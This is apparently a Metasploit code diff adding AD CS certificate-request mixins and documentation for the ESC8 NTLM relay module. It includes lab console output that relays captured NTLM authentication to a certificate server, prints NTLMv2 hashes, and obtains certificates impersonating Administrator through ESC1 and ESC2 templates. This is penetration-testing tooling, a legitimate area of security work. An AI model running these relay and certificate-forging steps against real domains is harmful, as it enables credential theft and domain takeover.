ALT_DNS no Alternative certificate DNS
ALT_SID no Alternative object SID
ALT_UPN Administrator@example.com no Alternative certificate UPN (format: USER@DOMAIN)
CAINPWFILE no Name of file to store Cain&Abel hashes in. Only supports NTLMv1 hashes. Can
be a path.
JOHNPWFILE no Name of file to store JohnTheRipper hashes in. Supports NTLMv1 and NTLMv2 ha
shes, each of which is stored in separate files. Can also be a path.
MODE SPECIFIC_TEMPLATE yes The issue mode. (Accepted: ALL, AUTO, QUERY_ONLY, SPECIFIC_TEMPLATE)
ON_BEHALF_OF no Username to request on behalf of (format: DOMAIN\USER)
PFX no Certificate to request on behalf of
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported prox
ies: socks5h, sapni, socks4, http, socks5
RELAY_TIMEOUT 25 yes Seconds that the relay socket will wait for a response after the client has
initiated communication.
RHOSTS 10.5.132.180 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/ba
sics/using-metasploit.html
RPORT 80 yes The target port (TCP)
SMBDomain WORKGROUP yes The domain name used during SMB exchange.
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on
the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 445 yes The local port to listen on.
SRV_TIMEOUT 25 yes Seconds that the server socket will wait for a response after the client has
initiated communication.
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /certsrv/ yes The URI for the cert server.
VHOST no HTTP server virtual host
When MODE is SPECIFIC_TEMPLATE:
Name Current Setting Required Description
---- --------------- -------- -----------
CERT_TEMPLATE ESC1-Template no The template to issue if MODE is SPECIFIC_TEMPLATE.
Auxiliary action:
Name Description
---- -----------
Relay Run SMB ESC8 relay server
View the full module info with the info, or info -d command.
msf auxiliary(server/relay/esc8) > run
[*] Auxiliary module running as background job 1.
msf auxiliary(server/relay/esc8) >
@@ -63,3 +114,157 @@ msf auxiliary(server/relay/esc8) >
[*] Received request for MSFLAB\smcintyre
[*] Identity: MSFLAB\smcintyre - All targets relayed to
```
### NTLM and ESC1
```
msf auxiliary(server/relay/esc8) > show options
Module options (auxiliary/server/relay/esc8):
Name Current Setting Required Description
---- --------------- -------- -----------
ALT_DNS no Alternative certificate DNS
ALT_SID no Alternative object SID
ALT_UPN Administrator@example.com no Alternative certificate UPN (format: USER@DOMAIN)
CAINPWFILE no Name of file to store Cain&Abel hashes in. Only supports NTLMv1 hashes. Can
be a path.
JOHNPWFILE no Name of file to store JohnTheRipper hashes in. Supports NTLMv1 and NTLMv2 ha
shes, each of which is stored in separate files. Can also be a path.
MODE SPECIFIC_TEMPLATE yes The issue mode. (Accepted: ALL, AUTO, QUERY_ONLY, SPECIFIC_TEMPLATE)
ON_BEHALF_OF no Username to request on behalf of (format: DOMAIN\USER)
PFX no Certificate to request on behalf of
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported prox
ies: socks5h, sapni, socks4, http, socks5
RELAY_TIMEOUT 25 yes Seconds that the relay socket will wait for a response after the client has
initiated communication.
RHOSTS 10.5.132.180 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/ba
sics/using-metasploit.html
RPORT 80 yes The target port (TCP)
SMBDomain WORKGROUP yes The domain name used during SMB exchange.
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on
the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 445 yes The local port to listen on.
SRV_TIMEOUT 25 yes Seconds that the server socket will wait for a response after the client has
initiated communication.
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /certsrv/ yes The URI for the cert server.
VHOST no HTTP server virtual host
When MODE is SPECIFIC_TEMPLATE:
Name Current Setting Required Description
---- --------------- -------- -----------
CERT_TEMPLATE ESC1-Template no The template to issue if MODE is SPECIFIC_TEMPLATE.
Auxiliary action:
Name Description
---- -----------
Relay Run SMB ESC8 relay server
View the full module info with the info, or info -d command.
msf auxiliary(server/relay/esc8) > run
[*] Auxiliary module running as background job 0.
msf auxiliary(server/relay/esc8) >
[*] SMB Server is running. Listening on 0.0.0.0:445
[*] Server started.
[*] New request from 10.5.132.122
[*] Received request for \msfuser
[*] Relaying to next target http://10.5.132.180:80/certsrv/
[+] Identity: \msfuser - Successfully authenticated against relay target http://10.5.132.180:80/certsrv/
[SMB] NTLMv2-SSP Client : 10.5.132.180
[SMB] NTLMv2-SSP Username : \msfuser
[SMB] NTLMv2-SSP Hash : msfuser:::af0b69bf0b95c55e:db5ce84b2f41b82d7df93bd2566c06b6:0101000000000000cbf836e63587dc013ce37255fbca75410000000002000e004500580041004d0050004c00450001001e00570049004e002d00440052004300390048004300440049004d0041005400040016006500780061006d0070006c0065002e0063006f006d0003003600570049004e002d00440052004300390048004300440049004d00410054002e006500780061006d0070006c0065002e0063006f006d00050016006500780061006d0070006c0065002e0063006f006d0007000800cbf836e63587dc01060004000200000008003000300000000000000000000000003000002ad3656a59fe53f773d5bc3852373338e1f3270cdbdf9411b84ef184151925510a001000000000000000000000000000000000000900220063006900660073002f00310030002e0035002e003100330035002e003200300031000000000000000000
[+] Certificate generated using template ESC1-Template and \msfuser
[+] Certificate for \msfuser using template ESC1-Template saved to /home/tmoose/.msf4/loot/20260116161729_default_10.5.132.180_windows.ad.cs_994769.pfx
[*] Received request for \msfuser
[*] Identity: \msfuser - All targets relayed to
```
### NTLM and ESC2
```msf
msf auxiliary(server/relay/esc8) > show options
Module options (auxiliary/server/relay/esc8):
Name Current Setting Required Description
---- --------------- -------- -----------
ALT_DNS no Alternative certificate DNS
ALT_SID no Alternative object SID
ALT_UPN no Alternative certificate UPN (format: USER@DOMAIN)
CAINPWFILE no Name of file to store Cain&Abel hashes in. Only supports NTLMv1 h
ashes. Can be a path.
JOHNPWFILE no Name of file to store JohnTheRipper hashes in. Supports NTLMv1 an
d NTLMv2 hashes, each of which is stored in separate files. Can a
lso be a path.
MODE SPECIFIC_TEMPLATE yes The issue mode. (Accepted: ALL, AUTO, QUERY_ONLY, SPECIFIC_TEMPLA
TE)
ON_BEHALF_OF EXAMPLE\Administrator no Username to request on behalf of (format: DOMAIN\USER)
PFX /home/tmoose/.msf4/loot/202601161509 no Certificate to request on behalf of
11_default_10.5.132.180_windows.ad.c
s_854591.pfx
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Sup
ported proxies: socks5h, sapni, socks4, http, socks5
RELAY_TIMEOUT 25 yes Seconds that the relay socket will wait for a response after the
client has initiated communication.
RHOSTS 10.5.132.180 yes The target host(s), see https://docs.metasploit.com/docs/using-me
tasploit/basics/using-metasploit.html
RPORT 80 yes The target port (TCP)
SMBDomain WORKGROUP yes The domain name used during SMB exchange.
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an
address on the local machine or 0.0.0.0 to listen on all address
es.
SRVPORT 445 yes The local port to listen on.
SRV_TIMEOUT 25 yes Seconds that the server socket will wait for a response after the
client has initiated communication.
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /certsrv/ yes The URI for the cert server.
VHOST no HTTP server virtual host
When MODE is SPECIFIC_TEMPLATE:
Name Current Setting Required Description
---- --------------- -------- -----------
CERT_TEMPLATE User no The template to issue if MODE is SPECIFIC_TEMPLATE.
Auxiliary action:
Name Description
---- -----------
Relay Run SMB ESC8 relay server
View the full module info with the info, or info -d command.
msf auxiliary(server/relay/esc8) > run
[*] Auxiliary module running as background job 0.
msf auxiliary(server/relay/esc8) >
[*] SMB Server is running. Listening on 0.0.0.0:445
[*] Server started.
[*] New request from 10.5.132.122
[*] Received request for \msfuser
[*] Relaying to next target http://10.5.132.180:80/certsrv/
[+] Identity: \msfuser - Successfully authenticated against relay target http://10.5.132.180:80/certsrv/
[SMB] NTLMv2-SSP Client : 10.5.132.180
[SMB] NTLMv2-SSP Username : \msfuser
[SMB] NTLMv2-SSP Hash : msfuser:::916940a20e939a34:7f5150c74cba44513fcb2e7ed28e8f45:0101000000000000bf1765b93787dc01c7c75e835e16b4ad0000000002000e004500580041004d0050004c00450001001e00570049004e002d00440052004300390048004300440049004d0041005400040016006500780061006d0070006c0065002e0063006f006d0003003600570049004e002d00440052004300390048004300440049004d00410054002e006500780061006d0070006c0065002e0063006f006d00050016006500780061006d0070006c0065002e0063006f006d0007000800bf1765b93787dc01060004000200000008003000300000000000000000000000003000002ad3656a59fe53f773d5bc3852373338e1f3270cdbdf9411b84ef184151925510a001000000000000000000000000000000000000900220063006900660073002f00310030002e0035002e003100330035002e003200300031000000000000000000
[+] Certificate generated using template User and \msfuser
[+] Certificate for \msfuser using template User saved to /home/tmoose/.msf4/loot/20260116163102_default_10.5.132.180_windows.ad.cs_883392.pfx
[*] Received request for \msfuser
[*] Identity: \msfuser - All targets relayed to
```
@@ -0,0 +1,66 @@
###
#
# This mixin provides methods wrapping CSR request methods in re/proto/x509/request
#
# -*- coding: binary -*-
require 'rex/proto/x509/request'
module Msf
module Exploit::Remote::CertRequest
def create_csr(opts={})
rsa_key_size = opts.fetch(:rsa_key_size) { datastore['RSAKeySize'].blank? ? 2048 : datastore['RSAKeySize'].to_i }
# can we double check if the key size is correct here when we are passed a private key?
private_key = (opts[:private_key] || OpenSSL::PKey::RSA.new(rsa_key_size))
if private_key.n.num_bits != rsa_key_size
elog("RSA key size mismatch")
raise ArgumentError, "RSA key size mismatch in create_csr()"
end
vprint_status("RSA key size: #{rsa_key_size}")
user = opts[:username]
status_msg = "Requesting a certificate for user #{user}"
alt_dns = opts.fetch(:alt_dns) { datastore['ALT_DNS'].blank? ? nil : datastore['ALT_DNS'] }
alt_sid = opts.fetch(:alt_sid) { datastore['ALT_SID'].blank? ? nil : datastore['ALT_SID'] }
alt_upn = opts.fetch(:alt_upn) { datastore['ALT_UPN'].blank? ? nil : datastore['ALT_UPN'] }
algorithm = opts.fetch(:algorithm) { datastore['DigestAlgorithm'].blank? ? 'SHA256' : datastore['DigestAlgorithm'] }
application_policies = opts.fetch(:add_cert_app_policy) { datastore['ADD_CERT_APP_POLICY'].blank? ? nil : datastore['ADD_CERT_APP_POLICY'].split(/[;,]\s*|\s+/) }
status_msg << " - alternate DNS: #{alt_dns}" if alt_dns
status_msg << " - alternate UPN: #{alt_upn}" if alt_upn
status_msg << " - digest algorithm: #{algorithm}" if algorithm
csr = Rex::Proto::X509::Request.build_csr(
cn: user,
private_key: private_key,
dns: alt_dns,
msext_sid: alt_sid,
msext_upn: alt_upn,
algorithm: algorithm,
application_policies: application_policies
)
pkcs12 = nil
if opts.key?(:pkcs12)
pkcs12 = opts[:pkcs12]
elsif datastore['PFX'].present?
pkcs12 = OpenSSL::PKCS12.new(File.binread(datastore['PFX']))
end
on_behalf_of = opts.fetch(:on_behalf_of) { datastore['ON_BEHALF_OF'].blank? ? nil : datastore['ON_BEHALF_OF'] }
status_msg << " - on behalf of: #{on_behalf_of}" if on_behalf_of
if pkcs12 && on_behalf_of
vprint_status("Building certificate request on behalf of #{on_behalf_of}")
csr = Rex::Proto::X509::Request.build_on_behalf_of(
csr: csr,
on_behalf_of: on_behalf_of,
cert: pkcs12.certificate,
key: pkcs12.key,
algorithm: algorithm
)
end
vprint_status status_msg
csr
end
end
end
@@ -0,0 +1,126 @@
require 'rex/proto/x509/request'
module Msf
class Exploit
class Remote
module HTTP
# This module provides a way of interacting with the Microsoft AD/CS web enrollment portal
module WebEnrollment
include Msf::Exploit::Remote::CertRequest
include Msf::Exploit::Remote::LDAP::ActiveDirectory::AdCsOpts
def get_cert_templates(authenticated_client)
print_status('Retrieving available template list, this may take a few minutes')
res = send_request_raw(
{
'client' => authenticated_client,
'method' => 'GET',
'uri' => normalize_uri(target_uri, 'certrqxt.asp')
}
)
return nil unless res&.code == 200
cert_templates = res.body.scan(/^.*Option Value="[E|O];(.*?);/).map(&:first)
print_bad('Found no available certificate templates') if cert_templates.empty?
cert_templates
end
def add_cert_entry(connection_identity, cert_template)
if @issued_certs.key?(connection_identity)
@issued_certs[connection_identity] << cert_template
else
@issued_certs[connection_identity] = [ cert_template ]
end
end
def retrieve_certs(target_ip, authenticated_client, connection_identity, cert_templates)
cert_templates.each do |cert_template|
retrieve_cert(target_ip, authenticated_client, connection_identity, cert_template)
end
end
def cert_issued?(connection_identity, cert_template)
!!@issued_certs[connection_identity]&.include?(cert_template)
end
def retrieve_cert(target_ip, authenticated_connection, connection_identity, cert_template)
if cert_issued?(connection_identity, cert_template)
print_status("Certificate already created for #{connection_identity} using #{cert_template}, skipping...")
return nil
end
vprint_status("Creating certificate request for #{connection_identity} using the #{cert_template} template")
opts = { username: connection_identity.split('\\').last }
rsa_key_size = datastore['RSAKeySize'].blank? ? 2048 : datastore['RSAKeySize'].to_i
private_key = OpenSSL::PKey::RSA.new(rsa_key_size)
opts[:private_key] = private_key
csr = create_csr(opts)
cert_template_string = "CertificateTemplate:#{cert_template}"
vprint_status('Requesting target generate certificate...')
res = send_request_raw(
{
'client' => authenticated_connection,
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'], 'certfnsh.asp'),
'ctype' => 'application/x-www-form-urlencoded',
'vars_post' => {
'Mode' => 'newreq',
'CertRequest' => Rex::Text.encode_base64(csr.to_der.to_s),
'CertAttrib' => cert_template_string,
'TargetStoreFlags' => 0,
'SaveCert' => 'yes',
'ThumbPrint' => ''
},
'cgi' => true
}
)
if res&.code == 200 && res.body.include?('request was denied')
print_bad("Certificate request denied using template #{cert_template} and #{connection_identity}")
return nil
end
if res&.code == 200 && res.body.include?('request failed')
print_bad("Certificate request failed using template #{cert_template} and #{connection_identity}")
return nil
end
if res&.code == 401 && res.body.include?('invalid credentials')
print_bad("Invalid Credential Error returned when using template #{cert_template} and #{connection_identity}")
return nil
end
print_good("Certificate generated using template #{cert_template} and #{connection_identity}")
add_cert_entry(connection_identity, cert_template)
begin
location_tag = res.body.match(/^.*location="(.*)"/)[1]
rescue NoMethodError
print_bad('Unable to locate location tag')
return nil
end
location_uri = normalize_uri(target_uri, location_tag)
vprint_status("Attempting to download the certificate from #{location_uri}")
res = send_request_raw(
{
'client' => authenticated_connection,
'method' => 'GET',
'uri' => location_uri
}
)
info = "#{connection_identity} Certificate"
certificate = OpenSSL::X509::Certificate.new(res.body)
pkcs12 = OpenSSL::PKCS12.create('', '', private_key, certificate)
stored_path = store_loot('windows.ad.cs',
'application/x-pkcs12',
target_ip,
pkcs12.to_der,
'certificate.pfx',
info)
print_good("Certificate using template #{cert_template} saved to #{stored_path}")
certificate
end
end
end
end
end
end
+1 -1
View File
@@ -48,7 +48,7 @@ module Exploit::Remote::HttpClient
OptBool.new('DigestAuthIIS', [false, 'Conform to IIS, should work for most servers. Only set to false for non-IIS servers', true]),
Opt::SSLVersion,
OptBool.new('FingerprintCheck', [ false, 'Conduct a pre-exploit fingerprint verification', true]),
OptString.new('DOMAIN', [ true, 'The domain to use for Windows authentication', 'WORKSTATION']),
OptString.new('DOMAIN', [ true, 'The domain to use for Windows authentication (Must be FQDN if HTTP::Auth is Kerberos)', 'WORKSTATION']),
OptFloat.new('HttpClientTimeout', [false, 'HTTP connection and receive timeout']),
OptBool.new('HttpTrace', [false, 'Show the raw HTTP requests and responses', false]),
OptBool.new('HttpTraceHeadersOnly', [false, 'Show HTTP headers only in HttpTrace', false]),
@@ -0,0 +1,59 @@
module Msf
###
#
# This module exposes methods for querying a remote LDAP service
#
###
module Exploit::Remote::LDAP::ActiveDirectory
module AdCsOpts
def initialize(info = {})
super
register_options([
OptString.new('ADD_CERT_APP_POLICY', [ false, 'Add certificate application policy OIDs' ], regex: /^\d+(\.\d+)+(([;,]\s*|\s+)\d+(\.\d+)+)*$/),
OptString.new('ALT_DNS', [ false, 'Alternative certificate DNS' ]),
OptString.new('ALT_SID', [ false, 'Alternative object SID' ]),
OptString.new('ALT_UPN', [ false, 'Alternative certificate UPN (format: USER@DOMAIN)' ]),
OptString.new('CERT_TEMPLATE', [ true, 'The certificate template', 'User' ]),
OptPath.new('PFX', [ false, 'Certificate to request on behalf of' ]),
OptString.new('ON_BEHALF_OF', [ false, 'Username to request on behalf of (format: DOMAIN\\USER)' ]),
])
register_advanced_options([
OptEnum.new('DigestAlgorithm', [ true, 'The digest algorithm to use', 'SHA256', %w[SHA1 SHA256] ]),
OptEnum.new('RSAKeySize', [ true, 'RSA key size in bits for CSR generation', '2048', %w[1024 2048 3072 4096 8192] ])
])
end
def validate
errors = {}
if datastore['ALT_SID'].present? && datastore['ALT_SID'] !~ /^S(-\d+)+$/
errors['ALT_SID'] = 'Must be a valid SID.'
end
if datastore['ALT_UPN'].present? && datastore['ALT_UPN'] !~ /^\S+@[^\s\\]+$/
errors['ALT_UPN'] = 'Must be in the format USER@DOMAIN.'
end
if datastore['ON_BEHALF_OF'].present?
errors['ON_BEHALF_OF'] = 'Must be in the format DOMAIN\\USER.' unless datastore['ON_BEHALF_OF'] =~ /^[^\s@]+\\\S+$/
errors['PFX'] = 'A PFX file is required when ON_BEHALF_OF is specified.' if datastore['PFX'].blank?
end
if datastore['PFX'].present?
begin
OpenSSL::PKCS12.new(File.binread(datastore['PFX']))
rescue StandardError => e
errors['PFX'] = "Failed to load the PFX file (#{e})"
end
end
raise OptionValidateError, errors unless errors.empty?
super
end
end
end
end
+15 -202
View File
@@ -15,6 +15,8 @@ module Exploit::Remote::MsIcpr
include Msf::Exploit::Remote::SMB::Client::Ipc
include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::CertRequest
include Msf::Exploit::Remote::LDAP::ActiveDirectory::AdCsOpts
# [2.2.2.7.7.4 szOID_NTDS_CA_SECURITY_EXT](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wcce/e563cff8-1af6-4e6f-a655-7571ca482e71)
OID_NTDS_CA_SECURITY_EXT = '1.3.6.1.4.1.311.25.2'.freeze
@@ -43,49 +45,9 @@ module Exploit::Remote::MsIcpr
register_options([
OptString.new('CA', [ true, 'The target certificate authority' ]),
OptString.new('CERT_TEMPLATE', [ true, 'The certificate template', 'User' ]),
OptString.new('ALT_DNS', [ false, 'Alternative certificate DNS' ]),
OptString.new('ALT_SID', [ false, 'Alternative object SID' ]),
OptString.new('ALT_UPN', [ false, 'Alternative certificate UPN (format: USER@DOMAIN)' ]),
OptString.new('ADD_CERT_APP_POLICY', [ false, 'Add certificate application policy OIDs' ], regex: /^\d+(\.\d+)+(([;,]\s*|\s+)\d+(\.\d+)+)*$/),
OptPath.new('PFX', [ false, 'Certificate to request on behalf of' ]),
OptString.new('ON_BEHALF_OF', [ false, 'Username to request on behalf of (format: DOMAIN\\USER)' ]),
Opt::RPORT(445)
], Msf::Exploit::Remote::MsIcpr)
register_advanced_options([
OptEnum.new('DigestAlgorithm', [ true, 'The digest algorithm to use', 'SHA256', %w[SHA1 SHA256] ]),
OptEnum.new('RSAKeySize', [ true, 'RSA key size in bits for CSR generation', '2048', %w[1024 2048 3072 4096 8192] ])
])
end
def setup
errors = {}
if datastore['ALT_SID'].present? && datastore['ALT_SID'] !~ /^S(-\d+)+$/
errors['ALT_SID'] = 'Must be a valid SID.'
end
if datastore['ALT_UPN'].present? && datastore['ALT_UPN'] !~ /^\S+@[^\s\\]+$/
errors['ALT_UPN'] = 'Must be in the format USER@DOMAIN.'
end
if datastore['ON_BEHALF_OF'].present?
errors['ON_BEHALF_OF'] = 'Must be in the format DOMAIN\\USER.' unless datastore['ON_BEHALF_OF'] =~ /^[^\s@]+\\\S+$/
errors['PFX'] = 'A PFX file is required when ON_BEHALF_OF is specified.' if datastore['PFX'].blank?
end
@pkcs12 = nil
if datastore['PFX'].present?
begin
@pkcs12 = OpenSSL::PKCS12.new(File.binread(datastore['PFX']))
rescue StandardError => e
errors['PFX'] = "Failed to load the PFX file (#{e})"
end
end
raise OptionValidateError, errors unless errors.empty?
super
end
def request_certificate(opts = {})
@@ -150,42 +112,25 @@ module Exploit::Remote::MsIcpr
end
def do_request_cert(icpr, opts)
rsa_key_size = (opts[:rsa_key_size] || datastore['RSAKeySize']).to_i
private_key = OpenSSL::PKey::RSA.new(rsa_key_size)
vprint_status("RSA key size: #{rsa_key_size}")
# Calls to this come from different places with different imports
# and different opts hash values, so we need this here to make
# sure all the data we need is populated
user = opts[:username] || datastore['SMBUser']
rsa_key_size = datastore['RSAKeySize'].blank? ? 2048 : datastore['RSAKeySize'].to_i
private_key = opts[:private_key] || OpenSSL::PKey::RSA.new(rsa_key_size)
if private_key.n.num_bits != rsa_key_size
elog("RSA key size mismatch")
raise ArgumentError, "RSA key size mismatch in do_request_cert"
end
opts[:private_key] = private_key
opts[:username] = user
status_msg = "Requesting a certificate for user #{user}"
alt_dns = opts[:alt_dns] || (datastore['ALT_DNS'].blank? ? nil : datastore['ALT_DNS'])
alt_sid = opts[:alt_sid] || (datastore['ALT_SID'].blank? ? nil : datastore['ALT_SID'])
alt_upn = opts[:alt_upn] || (datastore['ALT_UPN'].blank? ? nil : datastore['ALT_UPN'])
algorithm = opts[:algorithm] || datastore['DigestAlgorithm']
application_policies = opts[:add_cert_app_policy] || (datastore['ADD_CERT_APP_POLICY'].blank? ? nil : datastore['ADD_CERT_APP_POLICY'].split(/[;,]\s*|\s+/))
status_msg << " - alternate DNS: #{alt_dns}" if alt_dns
status_msg << " - alternate UPN: #{alt_upn}" if alt_upn
status_msg << " - digest algorithm: #{algorithm}" if algorithm
csr = build_csr(
cn: user,
private_key: private_key,
dns: alt_dns,
msext_sid: alt_sid,
msext_upn: alt_upn,
algorithm: algorithm,
application_policies: application_policies
)
on_behalf_of = opts[:on_behalf_of] || (datastore['ON_BEHALF_OF'].blank? ? nil : datastore['ON_BEHALF_OF'])
status_msg << " - on behalf of: #{on_behalf_of}" if on_behalf_of
if @pkcs12 && on_behalf_of
vprint_status("Building certificate request on behalf of #{on_behalf_of}")
csr = build_on_behalf_of(
csr: csr,
on_behalf_of: on_behalf_of,
cert: @pkcs12.certificate,
key: @pkcs12.key,
algorithm: algorithm
)
end
csr = create_csr(opts)
cert_template = opts[:cert_template] || datastore['CERT_TEMPLATE']
status_msg << " - template: #{cert_template}"
attributes = { 'CertificateTemplate' => cert_template }
@@ -201,6 +146,7 @@ module Exploit::Remote::MsIcpr
attributes['SAN'] = san.join('&') unless san.empty?
vprint_status(status_msg)
response = icpr.cert_server_request(
attributes: attributes,
authority: datastore['CA'],
@@ -301,139 +247,6 @@ module Exploit::Remote::MsIcpr
pkcs12
end
# Make a certificate signing request.
#
# @param [String] cn The common name for the certificate.
# @param [OpenSSL::PKey] private_key The private key for the certificate.
# @param [String] dns An alternative DNS name to use.
# @param [String] msext_sid An explicit SID to specify for strong identity mapping.
# @param [String] msext_upn An alternative User Principal Name (this is a Microsoft-specific feature).
# @param [String] algorithm The algorithm to use when signing the CSR.
# @param [Array<String>] application_policies OIDs to add as application policies.
# @return [OpenSSL::X509::Request] The request object.
def build_csr(cn:, private_key:, dns: nil, msext_sid: nil, msext_upn: nil, algorithm: 'SHA256', application_policies: [])
Rex::Proto::X509::Request.create_csr(private_key, cn, algorithm) do |request|
extensions = []
subject_alt_names = []
subject_alt_names << "otherName = #{OID_NT_PRINCIPAL_NAME};UTF8:#{msext_upn}" if msext_upn
if msext_sid
subject_alt_names << "URI = #{SAN_URL_PREFIX}#{msext_sid}"
subject_alt_names << "URI = #{msext_sid}"
end
subject_alt_names << "DNS = #{dns}" if dns
unless subject_alt_names.empty?
# factory.create_extension accepts a comma separated list of SANs or a config file of SANs.
# SAN_URL_PREFIX in the URI SAN contains a comma so we create a config file and add it to the factory
# The config file requires an identifier we define at the top of the file [alt_names]
subject_alt_names.prepend("[alt_names]")
subject_alt_names_conf = subject_alt_names.join("\n")
config = OpenSSL::Config.parse(subject_alt_names_conf)
factory = OpenSSL::X509::ExtensionFactory.new
factory.config = config
extensions << factory.create_extension('subjectAltName', '@alt_names', false)
end
if msext_sid
ntds_ca_security_ext = Rex::Proto::CryptoAsn1::NtdsCaSecurityExt.new(OtherName: {
type_id: OID_NTDS_OBJECTSID,
value: msext_sid
})
extensions << OpenSSL::X509::Extension.new(OID_NTDS_CA_SECURITY_EXT, ntds_ca_security_ext.to_der, false)
end
unless application_policies.blank?
application_cert_policies = Rex::Proto::CryptoAsn1::X509::CertificatePolicies.new(
certificatePolicies: application_policies.map { |policy_oid| Rex::Proto::CryptoAsn1::X509::PolicyInformation.new(policyIdentifier: policy_oid) }
)
extensions << OpenSSL::X509::Extension.new(OID_APPLICATION_CERT_POLICIES, application_cert_policies.to_der, false)
end
unless extensions.empty?
request.add_attribute(OpenSSL::X509::Attribute.new(
'extReq',
OpenSSL::ASN1::Set.new(
[OpenSSL::ASN1::Sequence.new(extensions)]
)
))
end
end
end
# Make a certificate request on behalf of another user.
#
# @param [OpenSSL::X509::Request] csr The certificate request to make on behalf of the user.
# @param [String] on_behalf_of The user to make the request on behalf of.
# @param [OpenSSL::X509::Certificate] cert The public key to use for signing the request.
# @param [OpenSSL::PKey::RSA] key The private key to use for signing the request.
# @param [String] algorithm The digest algorithm to use.
# @return [Rex::Proto::CryptoAsn1::Cms::ContentInfo] The signed request content.
def build_on_behalf_of(csr:, on_behalf_of:, cert:, key:, algorithm: 'SHA256')
# algorithm needs to be one that OpenSSL supports, but we also need the OID constants defined
digest = OpenSSL::Digest.new(algorithm)
unless [ digest.name, "RSAWith#{digest.name}" ].all? { |s| Rex::Proto::Kerberos::Model::OID.constants.include?(s.to_sym) }
raise ArgumentError, "Can not map digest algorithm #{digest.name} to the necessary OIDs."
end
digest_oid = Rex::Proto::Kerberos::Model::OID.const_get(digest.name)
signer_info = Rex::Proto::CryptoAsn1::Cms::SignerInfo.new(
version: 1,
sid: {
issuer: cert.issuer,
serial_number: cert.serial.to_i
},
digest_algorithm: {
algorithm: digest_oid
},
signed_attrs: [
{
attribute_type: OID_ENROLLMENT_NAME_VALUE_PAIR,
attribute_values: [
RASN1::Types::Any.new(value: Rex::Proto::CryptoAsn1::EnrollmentNameValuePair.new(
name: 'requestername',
value: on_behalf_of
))
]
},
{
attribute_type: Rex::Proto::Kerberos::Model::OID::MessageDigest,
attribute_values: [RASN1::Types::Any.new(value: RASN1::Types::OctetString.new(value: digest.digest(csr.to_der)))]
}
],
signature_algorithm: {
algorithm: Rex::Proto::Kerberos::Model::OID.const_get("RSAWith#{digest.name}")
}
)
data = RASN1::Types::Set.new(value: signer_info[:signed_attrs].value).to_der
signature = key.sign(digest, data)
signer_info[:signature] = signature
signed_data = Rex::Proto::CryptoAsn1::Cms::SignedData.new(
version: 3,
digest_algorithms: [
{
algorithm: digest_oid
}
],
encap_content_info: {
econtent_type: Rex::Proto::Kerberos::Model::OID::PkinitAuthData,
econtent: csr.to_der
},
certificates: [{ openssl_certificate: cert }],
signer_infos: [signer_info]
)
Rex::Proto::CryptoAsn1::Cms::ContentInfo.new(
content_type: Rex::Proto::Kerberos::Model::OID::SignedData,
data: signed_data
)
end
# Get the certificate policy OIDs from the certificate.
#
# @param [OpenSSL::X509::Certificate] cert
+2
View File
@@ -27,8 +27,10 @@ module Rex
SHA256 = '2.16.840.1.101.3.4.2.1'
ContentType = '1.2.840.113549.1.9.3'
MessageDigest = '1.2.840.113549.1.9.4'
SHA512 = '2.16.840.1.101.3.4.2.3'
RSAWithSHA1 = '1.2.840.113549.1.1.5'
RSAWithSHA256 = '1.2.840.113549.1.1.11'
RSAWithSHA512 = '1.2.840.113549.1.1.13'
PkinitAuthData = '1.3.6.1.5.2.3.1'
SignedData = '1.2.840.113549.1.7.2'
end
+145
View File
@@ -1,5 +1,17 @@
module Rex::Proto::X509
# [2.2.2.7.7.4 szOID_NTDS_CA_SECURITY_EXT](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wcce/e563cff8-1af6-4e6f-a655-7571ca482e71)
OID_NTDS_CA_SECURITY_EXT = '1.3.6.1.4.1.311.25.2'.freeze
# [2.2.2.7.5 szOID_NT_PRINCIPAL_NAME](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-wcce/ea9ef420-4cbf-44bc-b093-c4175139f90f)
OID_NT_PRINCIPAL_NAME = '1.3.6.1.4.1.311.20.2.3'.freeze
# [[MS-WCCE]: Windows Client Certificate Enrollment Protocol](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-winerrata/c39fd72a-da21-4b13-b329-c35d61f74a60)
OID_NTDS_OBJECTSID = '1.3.6.1.4.1.311.25.2.1'.freeze
# [[MS-WCCE]: 2.2.2.7.10 szENROLLMENT_NAME_VALUE_PAIR](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wcce/92f07a54-2889-45e3-afd0-94b60daa80ec)
OID_ENROLLMENT_NAME_VALUE_PAIR = '1.3.6.1.4.1.311.13.2.1'.freeze
# [[MS-WCCE]: 2.2.2.7.7.3 Encoding a Certificate Application Policy Extension](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wcce/160b96b1-c431-457a-8eed-27c11873f378)
OID_APPLICATION_CERT_POLICIES = '1.3.6.1.4.1.311.21.10'.freeze
SAN_URL_PREFIX = "tag:microsoft.com,2022-09-14:sid:"
class Request
def self.create_csr(private_key, cn, algorithm = 'SHA256')
request = OpenSSL::X509::Request.new
@@ -13,6 +25,139 @@ module Rex::Proto::X509
request.sign(private_key, OpenSSL::Digest.new(algorithm))
request
end
# Make a certificate signing request.
#
# @param [String] cn The common name for the certificate.
# @param [OpenSSL::PKey] private_key The private key for the certificate.
# @param [String] dns An alternative DNS name to use.
# @param [String] msext_sid An explicit SID to specify for strong identity mapping.
# @param [String] msext_upn An alternative User Principal Name (this is a Microsoft-specific feature).
# @param [String] algorithm The algorithm to use when signing the CSR.
# @param [Array<String>] application_policies OIDs to add as application policies.
# @return [OpenSSL::X509::Request] The request object.
def self.build_csr(cn:, private_key:, dns: nil, msext_sid: nil, msext_upn: nil, algorithm: 'SHA256', application_policies: [])
